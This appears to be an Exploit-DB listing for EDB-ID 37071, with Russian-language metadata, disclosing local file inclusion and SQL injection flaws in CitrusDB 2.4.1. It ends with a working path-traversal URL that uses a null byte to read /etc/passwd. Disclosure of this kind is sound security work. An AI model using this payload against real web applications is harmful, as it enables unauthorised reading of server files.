Exploit CitrusDB 2.4.1 - Local File Inclusion / SQL Injection

[Exploiter]

EDB-ID

37071

Проверка EDB

1. Пройдено

Автор

WACKY

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2012-04-09

CitrusDB 2.4.1 - Local File Inclusion / SQL Injection

source: https://www.securityfocus.com/bid/52946/info

CitrusDB is prone to a local file-include vulnerability and an SQL-injection vulnerability.

An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.

CitrusDB 2.4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/lab/citrus-2.4.1/index.php?load=../../../../../etc/passwd%00&type=base